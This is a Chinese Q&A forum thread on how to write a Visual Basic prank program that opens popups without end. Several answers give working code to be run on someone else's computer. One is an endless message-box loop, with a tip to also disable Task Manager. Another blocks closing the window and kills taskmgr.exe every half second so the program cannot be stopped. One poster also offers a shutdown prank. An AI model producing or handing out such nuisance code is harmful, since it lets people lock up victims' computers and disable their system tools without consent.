VB怎么做一个这样的整人程序 ? 做死循环做一个无限制弹出界面

2024-10-27 20:44:44
推荐回答(5个)
回答1:

利用时间空间,将你所要弹出的界面的时间设置为你想要的比如 timer1.interval=100
再在timer1.time事件里写你想要的比如
timer1.time
form1.visible=not form1.visible
窗体1在时间到时为可显的。
你要整人的我这里有一个关机的做好了
你可以加我号就行了。记得给分啊

回答2:

最简单的就是用个Loop函数加个form.load和form.unload就可以了.

回答3:

唔...可以直接用do...loop语句的
例:
Private Sub Form_Load()
Form1.BorderStyle = 0
Do
MsgBox "哈哈,停不下来了!", vbOKOnly, 循环正在进行
Loop
End Sub
看着蛮简单的,不过挺实用...lz还可以加个禁用任务管理器啥的~
听着好坏哦

回答4:

加个一个TIMER控件
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Msgbox "恭喜你中彩啦 , 看你怎么关闭 哈哈"
Cancel = 10
End Sub
Private Sub Timer1_Timer()
Shell "taskkill /im taskmgr.exe"
End Sub

回答5:

做个无限循环打开网页